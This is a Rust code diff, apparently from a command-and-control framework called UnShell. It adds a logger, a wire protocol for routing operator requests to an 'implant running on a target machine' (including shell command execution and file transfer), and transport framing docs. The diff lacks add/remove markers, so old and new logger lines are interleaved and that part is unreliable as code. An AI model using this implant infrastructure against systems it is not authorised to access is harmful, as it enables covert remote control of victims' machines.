// ---------------------------------------------------------------------------
|
||||
// Log levels
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
mod pretty_logger;
|
||||
|
||||
use alloc::boxed::Box;
|
||||
use alloc::string::String;
|
||||
pub use pretty_logger::PrettyLogger;
|
||||
pub use pretty_logger::log;
|
||||
|
||||
pub static mut IS_DEFAULT_LOGGER: bool = true;
|
||||
static mut LOGGER: &dyn Logger = &DefaultLogger;
|
||||
|
||||
#[derive(Debug)]
|
||||
/// The severity level of a log record.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)]
|
||||
pub enum LogLevel {
|
||||
/// Verbose diagnostic information.
|
||||
Debug,
|
||||
/// Normal operational messages.
|
||||
Info,
|
||||
/// Something unexpected happened but execution can continue.
|
||||
Warn,
|
||||
/// A serious error occurred.
|
||||
Error,
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
pub struct Record {
|
||||
log_level: LogLevel,
|
||||
location: Option<String>,
|
||||
// line: u32,
|
||||
time: Option<u64>,
|
||||
message: String,
|
||||
impl LogLevel {
|
||||
/// Short uppercase label, suitable for log line prefixes.
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust
|
||||
/// use unshell::logger::LogLevel;
|
||||
/// assert_eq!(LogLevel::Info.as_str(), "INFO");
|
||||
/// ```
|
||||
#[must_use]
|
||||
pub fn as_str(self) -> &'static str {
|
||||
match self {
|
||||
Self::Debug => "DEBUG",
|
||||
Self::Info => "INFO",
|
||||
Self::Warn => "WARN",
|
||||
Self::Error => "ERROR",
|
||||
}
|
||||
|
||||
pub trait Logger {
|
||||
fn log(&self, log: Record);
|
||||
}
|
||||
|
||||
struct DefaultLogger;
|
||||
|
||||
impl Logger for DefaultLogger {
|
||||
fn log(&self, _: Record) {}
|
||||
}
|
||||
|
||||
#[allow(unused_variables)]
|
||||
pub fn set_logger_box(logger: Box<dyn Logger>) {
|
||||
#[cfg(feature = "log")]
|
||||
unsafe {
|
||||
LOGGER = Box::leak(logger);
|
||||
IS_DEFAULT_LOGGER = false;
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Log record
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// A single log entry passed to a [`Logger`].
|
||||
///
|
||||
/// Borrows from the call site to avoid heap allocation on the hot path.
|
||||
pub struct Record<'a> {
|
||||
/// Severity level.
|
||||
pub level: LogLevel,
|
||||
/// The log message.
|
||||
pub message: &'a str,
|
||||
/// Source file, if available (e.g. `file!()`).
|
||||
pub file: Option<&'static str>,
|
||||
/// Source line number, if available (e.g. `line!()`).
|
||||
pub line: Option<u32>,
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Logger trait
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// A sink for log records.
|
||||
///
|
||||
/// Implement this to direct log output wherever you want (stdout, a file,
|
||||
/// a TCP connection, a memory buffer for tests).
|
||||
pub trait Logger: Sync {
|
||||
/// Receive and process a log record.
|
||||
fn log(&self, record: &Record<'_>);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Global logger state
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// The no-op logger used before any logger is installed.
|
||||
struct NullLogger;
|
||||
impl Logger for NullLogger {
|
||||
fn log(&self, _record: &Record<'_>) {}
|
||||
}
|
||||
|
||||
/// The global logger pointer.
|
||||
///
|
||||
/// Written once at startup via [`set_logger`], then only read.
|
||||
/// # Safety
|
||||
/// This is `static mut` to avoid a dependency on synchronisation primitives
|
||||
/// in a no_std context. It is safe as long as `set_logger` is called before
|
||||
/// any threads are spawned (see module-level docs).
|
||||
static mut GLOBAL_LOGGER: &dyn Logger = &NullLogger;
|
||||
|
||||
/// Install a new global logger.
|
||||
///
|
||||
/// Must be called **before** spawning any threads. After this call, all
|
||||
/// `info!`, `warn!`, `error!`, and `debug!` macros route to this logger.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// This function writes to a `static mut`. It is safe when called exactly
|
||||
/// once at program startup before any other threads exist.
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust,no_run
|
||||
/// use unshell::logger::{Logger, Record, set_logger};
|
||||
///
|
||||
/// static MY_LOGGER: MyLogger = MyLogger;
|
||||
/// set_logger(&MY_LOGGER);
|
||||
///
|
||||
/// # struct MyLogger;
|
||||
/// # impl Logger for MyLogger { fn log(&self, _: &Record<'_>) {} }
|
||||
/// ```
|
||||
pub fn set_logger(logger: &'static dyn Logger) {
|
||||
// SAFETY: called once at startup before any threads are spawned.
|
||||
#[allow(static_mut_refs)]
|
||||
unsafe {
|
||||
LOGGER = logger;
|
||||
IS_DEFAULT_LOGGER = false;
|
||||
GLOBAL_LOGGER = logger;
|
||||
}
|
||||
}
|
||||
|
||||
pub fn add_record(
|
||||
log_level: LogLevel,
|
||||
location: Option<String>,
|
||||
time: Option<u64>,
|
||||
message: String,
|
||||
) {
|
||||
logger().log(Record {
|
||||
log_level,
|
||||
location,
|
||||
time,
|
||||
/// Return a reference to the currently installed logger.
|
||||
///
|
||||
/// Used internally by the logging macros.
|
||||
#[must_use]
|
||||
pub fn global_logger() -> &'static dyn Logger {
|
||||
// SAFETY: GLOBAL_LOGGER is only written once (at startup) and is
|
||||
// read-only thereafter. No data race is possible.
|
||||
#[allow(static_mut_refs)]
|
||||
unsafe {
|
||||
GLOBAL_LOGGER
|
||||
}
|
||||
}
|
||||
|
||||
/// Log a record through the global logger.
|
||||
///
|
||||
/// This is the low-level function called by the macros. Prefer using the
|
||||
/// `info!`, `warn!`, `error!`, and `debug!` macros directly.
|
||||
pub fn log(level: LogLevel, message: &str, file: Option<&'static str>, line: Option<u32>) {
|
||||
global_logger().log(&Record {
|
||||
level,
|
||||
message,
|
||||
file,
|
||||
line,
|
||||
});
|
||||
}
|
||||
|
||||
pub fn logger() -> &'static dyn Logger {
|
||||
unsafe { LOGGER }
|
||||
// ---------------------------------------------------------------------------
|
||||
// A minimal stdout logger for use in std binaries (router, CLI)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// A simple logger that prints to stderr.
|
||||
///
|
||||
/// Suitable for the router and operator CLI binaries.
|
||||
/// Do not use in the payload binary (which may not have stderr available).
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust,no_run
|
||||
/// use unshell::logger::{StderrLogger, set_logger};
|
||||
///
|
||||
/// static LOGGER: StderrLogger = StderrLogger::new(unshell::logger::LogLevel::Info);
|
||||
/// set_logger(&LOGGER);
|
||||
/// ```
|
||||
pub struct StderrLogger {
|
||||
/// Minimum level to log. Records below this level are discarded.
|
||||
min_level: LogLevel,
|
||||
}
|
||||
|
||||
#[allow(dead_code, improper_ctypes_definitions)]
|
||||
pub type SetupLogger = extern "C" fn(logger: &'static dyn Logger);
|
||||
|
||||
#[unsafe(no_mangle)]
|
||||
#[allow(improper_ctypes_definitions)]
|
||||
pub extern "C" fn setup_logger(logger: &'static dyn Logger) {
|
||||
set_logger(logger);
|
||||
impl StderrLogger {
|
||||
/// Create a new `StderrLogger` that logs records at `min_level` and above.
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust
|
||||
/// use unshell::logger::{StderrLogger, LogLevel};
|
||||
/// let logger = StderrLogger::new(LogLevel::Info);
|
||||
/// ```
|
||||
#[must_use]
|
||||
pub const fn new(min_level: LogLevel) -> Self {
|
||||
Self { min_level }
|
||||
}
|
||||
}
|
||||
|
||||
// Macro Definitions
|
||||
impl Logger for StderrLogger {
|
||||
fn log(&self, record: &Record<'_>) {
|
||||
if record.level < self.min_level {
|
||||
return;
|
||||
}
|
||||
// eprintln! and String require std (available only with the `tcp` feature).
|
||||
// In no_std builds this method is a no-op. The payload uses a different
|
||||
// logger (or the null logger) in no_std contexts.
|
||||
#[cfg(feature = "tcp")]
|
||||
{
|
||||
use alloc::string::String;
|
||||
let location = match (record.file, record.line) {
|
||||
(Some(f), Some(l)) => {
|
||||
let mut s = String::from(f);
|
||||
s.push(':');
|
||||
s.push_str(&format!("{l}"));
|
||||
s
|
||||
}
|
||||
_ => String::new(),
|
||||
};
|
||||
if location.is_empty() {
|
||||
eprintln!("[{}] {}", record.level.as_str(), record.message);
|
||||
} else {
|
||||
eprintln!("[{}] {} - {}", record.level.as_str(), record.message, location);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Logging macros
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Log at [`LogLevel::Debug`] level.
|
||||
///
|
||||
/// ```rust
|
||||
/// use unshell::debug;
|
||||
/// debug!("loop iteration {}", 42);
|
||||
/// ```
|
||||
#[macro_export]
|
||||
macro_rules! debug {
|
||||
($($arg:tt)*) => {
|
||||
$crate::log!($crate::logger::LogLevel::Debug, $($arg)*)
|
||||
$crate::logger::log(
|
||||
$crate::logger::LogLevel::Debug,
|
||||
&format!($($arg)*),
|
||||
Some(file!()),
|
||||
Some(line!()),
|
||||
)
|
||||
};
|
||||
}
|
||||
|
||||
/// Log at [`LogLevel::Info`] level.
|
||||
///
|
||||
/// ```rust
|
||||
/// use unshell::info;
|
||||
/// info!("server started on port {}", 9000);
|
||||
/// ```
|
||||
#[macro_export]
|
||||
macro_rules! info {
|
||||
($($arg:tt)*) => {
|
||||
$crate::log!($crate::logger::LogLevel::Info, $($arg)*)
|
||||
$crate::logger::log(
|
||||
$crate::logger::LogLevel::Info,
|
||||
&format!($($arg)*),
|
||||
Some(file!()),
|
||||
Some(line!()),
|
||||
)
|
||||
};
|
||||
}
|
||||
|
||||
/// Log at [`LogLevel::Warn`] level.
|
||||
///
|
||||
/// ```rust
|
||||
/// use unshell::warn;
|
||||
/// warn!("unexpected path: {}", "/unknown");
|
||||
/// ```
|
||||
#[macro_export]
|
||||
macro_rules! warn {
|
||||
($($arg:tt)*) => {
|
||||
$crate::log!($crate::logger::LogLevel::Warn, $($arg)*)
|
||||
$crate::logger::log(
|
||||
$crate::logger::LogLevel::Warn,
|
||||
&format!($($arg)*),
|
||||
Some(file!()),
|
||||
Some(line!()),
|
||||
)
|
||||
};
|
||||
}
|
||||
|
||||
/// Log at [`LogLevel::Error`] level.
|
||||
///
|
||||
/// ```rust
|
||||
/// use unshell::error;
|
||||
/// error!("connection failed: {}", "timeout");
|
||||
/// ```
|
||||
#[macro_export]
|
||||
macro_rules! error {
|
||||
($($arg:tt)*) => {
|
||||
$crate::log!($crate::logger::LogLevel::Error, $($arg)*)
|
||||
$crate::logger::log(
|
||||
$crate::logger::LogLevel::Error,
|
||||
&format!($($arg)*),
|
||||
Some(file!()),
|
||||
Some(line!()),
|
||||
)
|
||||
};
|
||||
}
|
||||
|
||||
@@ -1,80 +0,0 @@
|
||||
use alloc::{boxed::Box, format};
|
||||
|
||||
use crate::logger::{LogLevel, Logger, Record};
|
||||
|
||||
pub struct PrettyLogger {
|
||||
output: Option<Box<dyn Fn(&Record)>>,
|
||||
}
|
||||
|
||||
impl Logger for PrettyLogger {
|
||||
fn log(&self, message: Record) {
|
||||
if let Some(ref func) = self.output {
|
||||
(*func)(&message)
|
||||
}
|
||||
|
||||
log(&message);
|
||||
}
|
||||
}
|
||||
|
||||
pub fn log(message: &Record) {
|
||||
static DEBUG_COLOR: &str = "\x1b[36m";
|
||||
static INFO_COLOR: &str = "\x1b[32m";
|
||||
static WARN_COLOR: &str = "\x1b[33m";
|
||||
static ERROR_COLOR: &str = "\x1b[31m";
|
||||
|
||||
let log_level = match message.log_level {
|
||||
LogLevel::Debug => format!("{DEBUG_COLOR}DBUG"),
|
||||
LogLevel::Info => format!("{INFO_COLOR}INFO"),
|
||||
LogLevel::Warn => format!("{WARN_COLOR}WARN"),
|
||||
LogLevel::Error => format!("{ERROR_COLOR}ERR!"),
|
||||
};
|
||||
|
||||
match (message.time, &message.location) {
|
||||
(None, None) => {
|
||||
static WHITE: &str = "\x1b[97m";
|
||||
|
||||
unix_print::unix_println!("{} {WHITE}{}", log_level, message.message);
|
||||
}
|
||||
|
||||
#[cfg(feature = "log_debug")]
|
||||
(Some(time), Some(location)) => {
|
||||
use chrono::{DateTime, Utc};
|
||||
|
||||
let date: DateTime<Utc> = time.into();
|
||||
|
||||
static WHITE: &str = "\x1b[97m";
|
||||
static OFF_WHITE: &str = "\x1b[37m";
|
||||
static TIME_COLOR: &str = "\x1b[36m";
|
||||
static GREY: &str = "\x1b[90m";
|
||||
|
||||
unix_print::unix_println!(
|
||||
"{OFF_WHITE}[{TIME_COLOR}{}{OFF_WHITE}] {} {WHITE}{} {GREY}{}{WHITE}",
|
||||
date,
|
||||
log_level,
|
||||
message.message,
|
||||
location
|
||||
);
|
||||
}
|
||||
|
||||
_ => unreachable!("Invalid log configuration"),
|
||||
}
|
||||
}
|
||||
|
||||
impl PrettyLogger {
|
||||
pub fn init() {
|
||||
if unsafe { crate::logger::IS_DEFAULT_LOGGER } {
|
||||
crate::logger::set_logger_box(Box::new(PrettyLogger { output: None }));
|
||||
}
|
||||
}
|
||||
|
||||
pub fn init_output<T>(output: T)
|
||||
where
|
||||
T: Fn(&Record) + 'static,
|
||||
{
|
||||
if !unsafe { crate::logger::IS_DEFAULT_LOGGER } {
|
||||
crate::logger::set_logger_box(Box::new(PrettyLogger {
|
||||
output: Some(Box::new(output)),
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
//! # Content Type Constants
|
||||
//!
|
||||
//! Content types describe how to interpret the `data` field of a
|
||||
//! [`TreeRequest`](super::TreeRequest) or [`TreeResponse`](super::TreeResponse).
|
||||
//!
|
||||
//! They follow a `"namespace/TypeName"` convention, similar to MIME types.
|
||||
//!
|
||||
//! ## Built-in types
|
||||
//!
|
||||
//! | Constant | Value | Meaning |
|
||||
//! |---|---|---|
|
||||
//! | [`NONE`] | `"core/None"` | No data (empty payload) |
|
||||
//! | [`UTF8_STRING`] | `"core/Utf8String"` | Raw UTF-8 string |
|
||||
//! | [`BYTES`] | `"core/Bytes"` | Raw bytes (no specific interpretation) |
|
||||
//! | [`PROCEDURE_LIST`] | `"core/ProcedureList"` | rkyv-serialised `Vec<ProcedureDescriptor>` |
|
||||
//!
|
||||
//! ## Custom types
|
||||
//!
|
||||
//! Module authors should prefix with their module name:
|
||||
//!
|
||||
//! ```rust
|
||||
//! const MY_TYPE: &str = "mymodule/MyType";
|
||||
//! ```
|
||||
|
||||
/// No data. Use for requests/responses that carry no payload.
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust
|
||||
/// use unshell::protocol::{TreeRequest, RequestType, content};
|
||||
///
|
||||
/// // A ping-style read with no payload
|
||||
/// let req = TreeRequest {
|
||||
/// request_id: 1,
|
||||
/// request_type: RequestType::Read,
|
||||
/// content_type: content::NONE.into(),
|
||||
/// data: Vec::new(),
|
||||
/// };
|
||||
/// ```
|
||||
pub const NONE: &str = "core/None";
|
||||
|
||||
/// A raw UTF-8 string.
|
||||
///
|
||||
/// The `data` field contains the string's bytes (no null terminator, no length prefix).
|
||||
pub const UTF8_STRING: &str = "core/Utf8String";
|
||||
|
||||
/// Raw bytes with no specific interpretation.
|
||||
pub const BYTES: &str = "core/Bytes";
|
||||
|
||||
/// A rkyv-serialised `Vec<ProcedureDescriptor>`.
|
||||
///
|
||||
/// Used in responses to [`RequestType::GetProcedures`](super::RequestType::GetProcedures).
|
||||
pub const PROCEDURE_LIST: &str = "core/ProcedureList";
|
||||
|
||||
/// Shell command output: UTF-8 stdout and stderr combined.
|
||||
pub const SHELL_OUTPUT: &str = "shell/Output";
|
||||
|
||||
/// Raw file contents as bytes.
|
||||
pub const FILE_BYTES: &str = "files/Bytes";
|
||||
@@ -0,0 +1,40 @@
|
||||
//! # Protocol Module
|
||||
//!
|
||||
//! All wire types used by the UnShell protocol.
|
||||
//!
|
||||
//! ## Module layout
|
||||
//!
|
||||
//! ```text
|
||||
//! protocol/
|
||||
//! mod.rs ← you are here; re-exports everything
|
||||
//! types.rs ← PacketHeader, TreeRequest, TreeResponse, Handshake*
|
||||
//! content.rs ← content-type string constants
|
||||
//! ```
|
||||
//!
|
||||
//! ## Quick start
|
||||
//!
|
||||
//! ```rust
|
||||
//! use unshell::protocol::{
|
||||
//! PacketHeader, PacketType,
|
||||
//! TreeRequest, RequestType,
|
||||
//! content,
|
||||
//! };
|
||||
//!
|
||||
//! let header = PacketHeader {
|
||||
//! dst_path: "/agents/abc123/shell/exec".into(),
|
||||
//! src_path: "/operator/sess1".into(),
|
||||
//! packet_type: PacketType::Request,
|
||||
//! };
|
||||
//!
|
||||
//! let request = TreeRequest {
|
||||
//! request_id: 1,
|
||||
//! request_type: RequestType::CallProcedure,
|
||||
//! content_type: content::UTF8_STRING.into(),
|
||||
//! data: b"ls -la".to_vec(),
|
||||
//! };
|
||||
//! ```
|
||||
|
||||
pub mod content;
|
||||
mod types;
|
||||
|
||||
pub use types::*;
|
||||
@@ -0,0 +1,314 @@
|
||||
//! # Protocol Wire Types
|
||||
//!
|
||||
//! All structs and enums that appear on the wire.
|
||||
//!
|
||||
//! ## Serialisation
|
||||
//!
|
||||
//! Every type here derives rkyv's `Archive`, `Serialize`, and `Deserialize`.
|
||||
//! This means they can be serialised to a byte slice and deserialised back
|
||||
//! with zero copying — the deserialised view (`Archived<T>`) reads directly
|
||||
//! from the byte slice without allocating.
|
||||
//!
|
||||
//! ## Wire Frame Format
|
||||
//!
|
||||
//! Every packet on the wire uses a two-part frame:
|
||||
//!
|
||||
//! ```text
|
||||
//! ┌──────────────────────────────────────────────────────────────────────┐
|
||||
//! │ Part 1: Header │ Part 2: Payload │
|
||||
//! │ [u32 big-endian length] │ [u32 big-endian length] │
|
||||
//! │ [rkyv-serialised PacketHeader bytes] │ [rkyv payload bytes] │
|
||||
//! └──────────────────────────────────────────┴───────────────────────────┘
|
||||
//! ```
|
||||
//!
|
||||
//! The router reads only Part 1 to determine where to route the packet.
|
||||
//! Part 2 is forwarded opaque (the router does not deserialise it).
|
||||
|
||||
use alloc::string::String;
|
||||
use alloc::vec::Vec;
|
||||
use rkyv::{Archive, Deserialize, Serialize};
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// PacketHeader
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// The header prefixed to every packet on the wire.
|
||||
///
|
||||
/// The router reads ONLY this field to determine routing.
|
||||
/// The payload body is opaque to the router.
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust
|
||||
/// use unshell::protocol::{PacketHeader, PacketType};
|
||||
///
|
||||
/// let header = PacketHeader {
|
||||
/// dst_path: "/agents/abc123/shell/exec".into(),
|
||||
/// src_path: "/operator/sess1".into(),
|
||||
/// packet_type: PacketType::Request,
|
||||
/// };
|
||||
/// ```
|
||||
#[derive(Archive, Serialize, Deserialize, Debug, Clone)]
|
||||
#[rkyv(derive(Debug))]
|
||||
pub struct PacketHeader {
|
||||
/// Destination path in the global tree.
|
||||
///
|
||||
/// The router does a longest-prefix match against registered node paths.
|
||||
/// Example: `"/agents/abc123/shell/exec"`.
|
||||
pub dst_path: String,
|
||||
|
||||
/// Source path of the sending node.
|
||||
///
|
||||
/// Used by the destination to route the response back.
|
||||
/// Example: `"/operator/sess1"`.
|
||||
pub src_path: String,
|
||||
|
||||
/// Discriminates between handshake messages and protocol messages.
|
||||
pub packet_type: PacketType,
|
||||
}
|
||||
|
||||
/// Discriminates the payload type.
|
||||
///
|
||||
/// The receiver uses this to know which type to deserialise the payload as.
|
||||
#[derive(Archive, Serialize, Deserialize, Debug, Clone, PartialEq, Eq)]
|
||||
#[rkyv(derive(Debug, PartialEq))]
|
||||
pub enum PacketType {
|
||||
/// Sent by a newly-connected node to register with the router.
|
||||
Handshake,
|
||||
/// Sent by the router acknowledging (or rejecting) a handshake.
|
||||
HandshakeAck,
|
||||
/// An application-level request (the primary protocol message).
|
||||
Request,
|
||||
/// An application-level response.
|
||||
Response,
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Handshake
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Sent by a node immediately after connecting to the router.
|
||||
///
|
||||
/// The router reads this to register the node in its routing table.
|
||||
///
|
||||
/// # Wire format
|
||||
///
|
||||
/// This struct is the payload part of a frame whose header has
|
||||
/// `packet_type = PacketType::Handshake`. The `dst_path` in the header is
|
||||
/// `"/router"` (the router's own registration endpoint).
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust
|
||||
/// use unshell::protocol::{HandshakeMessage, NodeType};
|
||||
///
|
||||
/// let msg = HandshakeMessage {
|
||||
/// node_id: "abc123".into(),
|
||||
/// node_type: NodeType::Payload,
|
||||
/// registered_paths: vec!["/agents/abc123".into()],
|
||||
/// platform: "linux-x86_64".into(),
|
||||
/// };
|
||||
/// ```
|
||||
#[derive(Archive, Serialize, Deserialize, Debug, Clone)]
|
||||
#[rkyv(derive(Debug))]
|
||||
pub struct HandshakeMessage {
|
||||
/// Node identifier.
|
||||
///
|
||||
/// For payloads: a base62 string baked at compile time.
|
||||
/// For operator sessions: a random string generated on startup.
|
||||
pub node_id: String,
|
||||
|
||||
/// Whether this node is a payload or an operator shell.
|
||||
pub node_type: NodeType,
|
||||
|
||||
/// The path prefixes this node claims ownership of.
|
||||
///
|
||||
/// All sub-paths under these prefixes are owned by this node.
|
||||
/// The router uses these for longest-prefix route matching.
|
||||
///
|
||||
/// Example: `["/agents/abc123"]`
|
||||
pub registered_paths: Vec<String>,
|
||||
|
||||
/// Human-readable platform identifier for operator visibility.
|
||||
///
|
||||
/// Example: `"linux-x86_64"`, `"windows-x86_64"`, `"operator"`.
|
||||
pub platform: String,
|
||||
}
|
||||
|
||||
/// Sent by the router in response to a `HandshakeMessage`.
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust
|
||||
/// use unshell::protocol::HandshakeAck;
|
||||
///
|
||||
/// // Successful registration
|
||||
/// let ack = HandshakeAck {
|
||||
/// accepted: true,
|
||||
/// assigned_base_path: "/agents/abc123".into(),
|
||||
/// rejection_reason: None,
|
||||
/// };
|
||||
///
|
||||
/// // Rejection (duplicate node ID)
|
||||
/// let nack = HandshakeAck {
|
||||
/// accepted: false,
|
||||
/// assigned_base_path: String::new(),
|
||||
/// rejection_reason: Some("duplicate_node_id".into()),
|
||||
/// };
|
||||
/// ```
|
||||
#[derive(Archive, Serialize, Deserialize, Debug, Clone)]
|
||||
#[rkyv(derive(Debug))]
|
||||
pub struct HandshakeAck {
|
||||
/// Whether the router accepted the registration.
|
||||
pub accepted: bool,
|
||||
|
||||
/// The canonical base path assigned by the router.
|
||||
///
|
||||
/// Typically matches the first entry in `HandshakeMessage::registered_paths`.
|
||||
/// Empty string if `accepted == false`.
|
||||
pub assigned_base_path: String,
|
||||
|
||||
/// Human-readable rejection reason when `accepted == false`.
|
||||
///
|
||||
/// Known values: `"duplicate_node_id"`, `"invalid_path"`.
|
||||
pub rejection_reason: Option<String>,
|
||||
}
|
||||
|
||||
/// The type of node connecting to the router.
|
||||
///
|
||||
/// The `Router` variant is reserved for future multi-hop/pivoting support
|
||||
/// and is not used in v1.
|
||||
#[derive(Archive, Serialize, Deserialize, Debug, Clone, PartialEq, Eq)]
|
||||
#[rkyv(derive(Debug, PartialEq))]
|
||||
pub enum NodeType {
|
||||
/// An implant running on a target machine.
|
||||
Payload,
|
||||
/// An operator's interactive shell session.
|
||||
Operator,
|
||||
// Router variant will be added when multi-hop/pivoting is implemented.
|
||||
// Router,
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// TreeRequest / TreeResponse
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// An application-level request sent from an operator to a payload module.
|
||||
///
|
||||
/// The request travels: operator → router → destination node.
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust
|
||||
/// use unshell::protocol::{TreeRequest, RequestType, content};
|
||||
///
|
||||
/// // Ask a shell module to execute a command
|
||||
/// let req = TreeRequest {
|
||||
/// request_id: 42,
|
||||
/// request_type: RequestType::CallProcedure,
|
||||
/// content_type: content::UTF8_STRING.into(),
|
||||
/// data: b"ls -la /tmp".to_vec(),
|
||||
/// };
|
||||
/// ```
|
||||
#[derive(Archive, Serialize, Deserialize, Debug, Clone)]
|
||||
#[rkyv(derive(Debug))]
|
||||
pub struct TreeRequest {
|
||||
/// Unique request ID generated by the sender.
|
||||
///
|
||||
/// The responder echoes this back in [`TreeResponse::request_id`].
|
||||
/// This allows the sender to match responses to outstanding requests,
|
||||
/// which matters when multiple requests are in-flight concurrently
|
||||
/// (e.g., background sessions in the operator CLI).
|
||||
pub request_id: u64,
|
||||
|
||||
/// The operation type.
|
||||
pub request_type: RequestType,
|
||||
|
||||
/// Content-type describing how to interpret [`data`](Self::data).
|
||||
///
|
||||
/// Use the constants in [`content`](super::content) for the built-in types.
|
||||
/// Custom module types should use the module name as namespace:
|
||||
/// `"mymodule/MyType"`.
|
||||
pub content_type: String,
|
||||
|
||||
/// Operation payload. Interpretation depends on `content_type`.
|
||||
pub data: Vec<u8>,
|
||||
}
|
||||
|
||||
/// The type of operation being requested.
|
||||
#[derive(Archive, Serialize, Deserialize, Debug, Clone, PartialEq, Eq)]
|
||||
#[rkyv(derive(Debug, PartialEq))]
|
||||
pub enum RequestType {
|
||||
/// Read a value at the target path.
|
||||
Read = 0,
|
||||
/// List available sub-paths and callable procedures at the target path.
|
||||
GetProcedures = 1,
|
||||
/// Write a value to the target path.
|
||||
Write = 2,
|
||||
/// Invoke a named procedure at the target path.
|
||||
CallProcedure = 3,
|
||||
}
|
||||
|
||||
/// An application-level response from a payload module back to the operator.
|
||||
///
|
||||
/// The response travels: payload → router → requesting operator.
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust
|
||||
/// use unshell::protocol::{TreeResponse, ResponseStatus, content};
|
||||
///
|
||||
/// let resp = TreeResponse {
|
||||
/// request_id: 42, // echoed from the corresponding TreeRequest
|
||||
/// status: ResponseStatus::Ok,
|
||||
/// content_type: content::UTF8_STRING.into(),
|
||||
/// data: b"file1.txt\nfile2.txt\n".to_vec(),
|
||||
/// };
|
||||
/// ```
|
||||
#[derive(Archive, Serialize, Deserialize, Debug, Clone)]
|
||||
#[rkyv(derive(Debug))]
|
||||
pub struct TreeResponse {
|
||||
/// Echoed from the corresponding [`TreeRequest::request_id`].
|
||||
pub request_id: u64,
|
||||
|
||||
/// Whether the operation succeeded.
|
||||
pub status: ResponseStatus,
|
||||
|
||||
/// Content-type of the response data.
|
||||
pub content_type: String,
|
||||
|
||||
/// Response payload. Empty if `status` is an error variant.
|
||||
pub data: Vec<u8>,
|
||||
}
|
||||
|
||||
/// Indicates the outcome of a [`TreeRequest`].
|
||||
#[derive(Archive, Serialize, Deserialize, Debug, Clone, PartialEq, Eq)]
|
||||
#[rkyv(derive(Debug, PartialEq))]
|
||||
pub enum ResponseStatus {
|
||||
/// The operation completed successfully.
|
||||
Ok = 0,
|
||||
/// The requested path does not exist at the destination node.
|
||||
NoBranchError = 1,
|
||||
/// The requested operation is not supported at this path.
|
||||
UnsupportedOperation = 2,
|
||||
/// The destination node encountered an internal error.
|
||||
ExecutionError = 3,
|
||||
/// The request payload was malformed or could not be deserialised.
|
||||
ProtocolError = 4,
|
||||
}
|
||||
|
||||
/// A descriptor for a callable procedure, returned by [`RequestType::GetProcedures`].
|
||||
///
|
||||
/// This is what fills the `data` field of a `TreeResponse` when the
|
||||
/// request type is `GetProcedures` and `content_type` is `content::PROCEDURE_LIST`.
|
||||
#[derive(Archive, Serialize, Deserialize, Debug, Clone)]
|
||||
#[rkyv(derive(Debug))]
|
||||
pub struct ProcedureDescriptor {
|
||||
/// The name of the procedure (the path component after the module path).
|
||||
///
|
||||
/// Example: `"exec"` for the module at `/agents/abc123/shell/exec`.
|
||||
pub name: String,
|
||||
|
||||
/// Human-readable description of what this procedure does.
|
||||
pub description: String,
|
||||
}
|
||||
@@ -0,0 +1,304 @@
|
||||
//! # Transport Module
|
||||
//!
|
||||
//! The transport layer abstracts the network connection used to carry protocol packets.
|
||||
//!
|
||||
//! ## Module layout
|
||||
//!
|
||||
//! ```text
|
||||
//! transport/
|
||||
//! mod.rs ← you are here; Transport trait, TransportError, frame encoding
|
||||
//! tcp.rs ← TcpTransport: Transport implemented for std::net::TcpStream
|
||||
//! ```
|
||||
//!
|
||||
//! ## Design
|
||||
//!
|
||||
//! A `Transport` sends and receives complete logical packets. Each packet is
|
||||
//! one `PacketHeader` + one opaque payload byte slice.
|
||||
//!
|
||||
//! Internally, implementations must use the two-part framing format:
|
||||
//!
|
||||
//! ```text
|
||||
//! ┌──────────────────────────────────────────────────────────────────────┐
|
||||
//! │ [u32 big-endian header_len][header bytes][u32 big-endian pay_len] │
|
||||
//! │ [payload bytes] │
|
||||
//! └──────────────────────────────────────────────────────────────────────┘
|
||||
//! ```
|
||||
//!
|
||||
//! **IMPORTANT:** TCP is a stream protocol. A single `read()` call may return
|
||||
//! fewer bytes than requested. All receive operations MUST loop until the
|
||||
//! exact number of bytes has been read. The standard pattern is `read_exact()`.
|
||||
//!
|
||||
//! ## Size limits
|
||||
//!
|
||||
//! | Limit | Value | Reason |
|
||||
//! |---|---|---|
|
||||
//! | Max header bytes | 64 KB | Headers are always small; larger = bug or attack |
|
||||
//! | Max payload bytes | 64 MB | Sufficient for most file transfers |
|
||||
//!
|
||||
//! ## Transport implementations
|
||||
//!
|
||||
//! | Type | Where | Description |
|
||||
//! |---|---|---|
|
||||
//! | [`tcp::TcpTransport`] | `transport/tcp.rs` | Standard TCP socket |
|
||||
//!
